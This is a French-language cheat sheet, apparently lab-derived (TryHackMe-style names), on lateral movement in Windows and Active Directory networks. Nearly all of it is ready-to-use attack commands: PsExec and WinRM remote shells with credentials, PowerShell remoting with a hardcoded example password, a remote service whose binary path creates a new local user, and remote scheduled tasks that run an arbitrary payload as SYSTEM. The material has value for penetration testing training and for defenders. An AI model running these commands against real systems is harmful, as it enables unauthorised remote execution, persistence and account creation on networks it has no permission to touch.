Skip to main content

[Windows/Pivoting] Cheat-sheet

Introduction

Le pivoting sur Windows ou plus généralement dans un environnement Active Directory est souvent utilisé pour passer d'une machine A à une machine B.

image.png

Cheat-sheet

PsExec

image.png

Voici le lien pour télécharger PsExec :

psexec64.exe \\<IP> -u <USER> -p <PASSWORD> -i cmd.exe

PsExec utilise le partage administratif ADMIN$, fonctionne avec Samba sur le port 445 et requiert les droits Administrateurs.

WinRM

L'avantage de WinRM est qu'il ne nécessite que le privilège Remote Management Users pour fonctionner et qu'il est actif et présent sur les systèmes Windows par défaut.

On peut utiliser l'exécutable :

winrs.exe -u:<USER> -p:<PASSWORD> -r:target cmd

Ou alors, on peut l'utiliser en Powershell en créant un objet avec les identifiants : 

$username = 'Administrator';
$password = 'Mypass123';
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force; 
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword;

Puis pour obtenir une session interractive :

Enter-PSSession -Computername <TARGET> -Credential $credential

Ou pour exécuter un bloc de code powershell :

Invoke-Command -Computername TARGET -Credential $credential -ScriptBlock {whoami}

Service personnalisé

Il est possible de créer un service personnalisé pour pivoter si on a les droits Administrateurs en utilisant les Pipes RPC over SMB.

Créer le service :

sc.exe \\<TARGET> create THMservice binPath= "net user munra Pass123 /add" start= auto

Démarrer le service :

sc.exe \\<TARGET> start THMservice

Pour arrêter et supprimer le service :

sc.exe \\<TARGET> stop THMservice
sc.exe \\<TARGET> delete THMservice

Tâche planifiée

Il est possible de créer une tâche planifiée à distance :

schtasks /s TARGET /RU "SYSTEM" /create /tn "THMtask1" /tr "<COMMAND/PAYLOAD>" /sc ONCE /sd 01/01/1970 /st 00:00 

Et démarrer la tâche :

schtasks /s TARGET /run /TN "THMtask1" 

Pour supprimer la tâche planifiée :

schtasks /S TARGET /TN "THMtask1" /DELETE /F